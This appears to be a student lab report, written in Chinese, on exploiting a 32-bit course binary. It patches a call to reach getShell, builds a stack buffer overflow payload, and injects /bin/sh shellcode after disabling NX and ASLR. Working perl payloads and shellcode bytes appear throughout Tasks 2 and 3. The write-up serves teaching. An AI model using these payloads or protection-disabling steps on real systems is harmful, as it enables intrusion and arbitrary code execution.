2018-2019-2 网络对抗技术 20165322 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165322 Exp1 PC平台逆向破解
目录
实验准备
由于kali镜像的原因,系统没有32位的运行库,pwn1文件没法运行,所以我们需要做一些准备工作。
- 下载阿里云与中科院的更新源
- 和安装教程里的相同,输入指令
leafpad /etc/apt/sources.list
打开sources.list文件,直接原来的源在后面家伙加上需要补充的更新源就可以了。 - 这里用同学分享在群里的博客中的源更新失败了,原因大概是kali对应的版本不正确,因此找不到相应的ip地址。多找几个教程总能有适合自己的源。
#中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #阿里云 #deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib #deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
- 和安装教程里的相同,输入指令
- 执行:`apt-get clean`,`apt-get update`两条指令即可,之前的博客也说过apt-get upgrade是对所有软件进行更新,耗时过长,且容易蓝屏。不需要做这一步。
- 安装32位运行库
- 更新好源以后,开始安装32位的运行库,主要是kali官方源不含这个32位的运行库,所以才有以上操作。
- 执行指令
apt-get install lib32z1
即可 - 此时试运行
./pwn1
已经能运行成功。
任务一:直接修改程序机器指令,改变程序执行流程
-
实验内容:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
攻击目标:运行原本不可访问的代码片段
-
攻击原理:如图所示,代码一共有3个模块,1.getshell;2.foo函数;3.main函数。正常情况下,程序先从main函数开始执行,然后调用foo函数,运行完foo函数以后程序返回到main函数里。因此,正常情况下,getshell是不会被执行到的。我们要做的就是把pwn1程序进行反汇编,然后直接修改程序的机器指令,使程序由main函数直接跳转到getshell函数里。
-
实现过程:
-
首先备份pwn1文件:
cp pwn1 pwn20165322
-
对文件进行反汇编:
objdump -d pwn20165322
-
找到相对应的3个函数,我们发现,main函数里有一行指令:
call 08048491 <foo>
对应的正好是foo函数的起始地址,它所对应的机器码为e8 d7 ff ff ff
(此处e8为call指令的机器码)。我们要让call指令跳转到getshell函数的地址0804847d
就必须要修改call指令前面的机器码,这个机器码由下图的计算方法所得到:
*这里有个值得注意的地方:由于d7 ff ff ff在机器上是由小端形式储存,但是我们平时计算的习惯是按大端来读取,所以平时要换算成ff ff ff d7来进行计算。
-
接着使用命令
vi pwn20165322
修改文件。 -
进入之后是乱码,使用
:%!xxd
转换为16进制显示。 -
使用
/d7
命令寻找e8d7ffffff机器指令所在地。 -
找到以后按回车,按
r
修改d7为c3。 -
然后使用
:%!xxd -r
换回乱码的样子再用:wq!
保存即可。 -
此时再次对程序进行反汇编
objdump -d pwn20165322
,看到main函数里的机器指令和汇编指令已经修改了
-
运行一下
./pwn20165322
成功进入getshell函数。
-
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
- 实验内容:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 攻击目标:强行修改程序执行流
- 攻击原理:BOF攻击,即缓冲区溢出攻击。由于栈是低地址方向增长的,因此局部数组buffer的指针在缓冲区的下方。当把data的数据拷贝到buffer内时,超过缓冲区区域的高地址部分数据会覆盖原本的其他栈帧数据。覆盖返回地址是栈溢出原理的核心所在,通过覆盖的方式修改函数的返回地址,使程序代码执行“意外”的流程。在这里我们要让返回地址准确地指向shellcode的起始地址。
- 实现过程:
-
由于我们不知道系统为缓冲区预留的大小,所以反汇编命令
objdump -d pwn20165322_2
查看foo函数里的寄存器情况,如下图所示,缓冲区分配的字节大小为0X1C,换算可知为28字节。
-
由图可知,28字节只包含ESP到EBP指针之间的缓冲区大小,还要加上4字节EBP的空间才是完整的缓冲区。如果要覆盖返回地址的值,我们一共需要32字节任意值+4字节getshell的起始地址值。
-
我们先验证输入一个36字节的数据能够造成缓冲区溢出。输入命令
gdb pwn20165322_2
进入调试,输入r
运行到输入字符串处,输入字符串111111112222222233333333444444441234
(当然这里只要有32位就OK,输什么都可以),得到段错误提示,缓冲区溢出,如下图。说明我们的推测是正确的
-
接着输入
info r
查看此时rip寄存器里的值,如图所示,对应为1234即第32字节到第36字节的返回地址所在字节。
-
我们知道getshell函数的地址为:
0x0804847d
,由于输入字符串时是以ASCII码输入,因此要转换为\x7d\x84\x04\x08
,我们输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > bof
,这里 Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件bof中。 -
使用16进制查看指令
xxd bof
查看bof文件的内容是否如预期 -
然后将bof的输入,通过管道符“|”,作为pwn20165322_2的输入
(cat bof; cat ) | ./pwn20165322_2
,攻击成功
-
任务三:注入Shellcode并执行
-
实验内容:注入一个自己制作的shellcode并运行这段shellcode。
-
攻击目标:注入运行任意代码
-
攻击原理:将shellcode注入到堆栈中,并且把返回地址指向shellcode的地址。这里的难点在于如何找到shellcode的地址,由于执行完foo函数,栈顶指针会指向返回地址,我们可以利用单步调试,查看此时栈顶指针的物理地址,从而推导出shellcode的物理地址。
-
实验步骤
- 为了防止结合CPU的页面管理机制,用DEP/NX将堆栈内存区设置为不可执行。 我们要设置堆栈可执行,得到结果 X pwn20165322_3
apt-get install execstack //安装execstack execstack -s pwn20165322_3 //设置堆栈可执行 execstack -q pwn20165322_3 //查询文件的堆栈是否可执行
- 在预防BOF攻击中,shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。因此我们要设置关闭地址随机化。
echo "0" > /proc/sys/kernel/randomize_va_space
- 设置成没有预防bof攻击的状态后,我们就要开始将shellcode代码注入了。Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode nop+shellcode+retaddr retaddr在缓冲区的位置是固定的,缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边 nop一为是了填充,二是作为“着陆区/滑行区”,我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
- 我们选择anything+retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop(机器码90)。像任务二中一样,我们先把代码写进一个文件里。
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。 特别提醒:最后一个字符千万不能是\x0a(回车)。
-
运行
(cat input_shellcode;cat) | ./pwn20165322_3
-
打开一个新窗口执行
ps -ef | grep pwn
,能看见当前运行pwn20165322_3的进程号,如下图所示
-
进入gdb调试,并于进程建立连接
attach 3840
-
通过设置断点,来查看注入buf的内存地址
disassemble foo //反汇编 b *0x080484ae //设置断点
-
在第一个窗口回车,再在第二个窗口输入
c
以继续执行程序 -
info r esp
查看esp寄存器地址 -
x/16x 0xffffd31c
以16进制形式查看0xffffd31c地址后面16字节的内容
-
由于已经执行了foo函数,buf部分已经出栈,此时ESP指向了retaddr,我们通过截图看到01020304所在的地址是
0xffffd31c
,根据结构r+n+s且n可以滑行,可知我们只要将指针指到0xffffd31c+ 0x00000004=0xffffd320就能滑行执行shellcode。 -
修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 执行
(cat input_shellcode;cat) | ./pwn20165322_3
,攻击成功
知识点总结
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:无作用,英文"no operation"的简写(机器码90)
- JNE:若不相等则跳(机器码75)
- JE:若相等则跳(机器码74)
- JMP:无条件转移指令。段内转移,短跳转Jmp short(机器码:EB);段内转移,近跳转Jmp near(机器码:E9);段间转移,远跳转Jmp far(机器码:EA)
- CMP:比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位(机器码39)
掌握反汇编与十六进制编程器
- 反汇编:将可执行文件转换成汇编程序,详细用法可参考Linux下C程序的反汇编
objdump -f test
显示test的文件头信息objdump -d test
反汇编test中的需要执行指令的那些sectionobjdump -D test
与-d类似,但反汇编test中的所有sectionobjdump -h test
显示test的Section Header信息objdump -x test
显示test的全部Header信息objdump -s test
除了显示test的全部Header信息,还显示他们对应的十六进制文件代码
- 十六进制编辑器:用来以16进制视图进行文本编辑的编辑工具软件。具体步骤如下:
- 输入命令
vi +文件名
以普通文本形式查看可执行文件内容,基本上为乱码 - 按esc后在底行输入
:%!xxd
将显示模式切换为16进制模式; - 退出文件前,按esc键后输入
:%!xxd -r
转换为原格式。(退出前一定要转换回原格式,否则会出错)
- 输入命令
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
实验感想与理解
实验感想
通过本次实验,我第一次从一个程序最内部去攻击它的漏洞,同时也了解到缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。通过本次实验的实操,我更深入地学习了反汇编与调试的应用,尝试去读懂以前看不明白的汇编代码。整个实验过程中,努力优先去理解它攻击的原理。虽然废了不少脑子,但是感觉收益匪浅。
什么是漏洞?漏洞有什么危害?
漏洞是系统、程序等某些地方存在已经被发现或是仍未被发现的弱点。恶意方会利用他们发现的漏洞对系统、程序进行攻击。对程序内部造成破坏,从而窃取、篡改信息,获取利益。漏洞的存在不可避免,有些重要的系统一旦被攻破将会造成政治、经济上多方面的危害。因此防止漏洞攻击还有很长的路要走。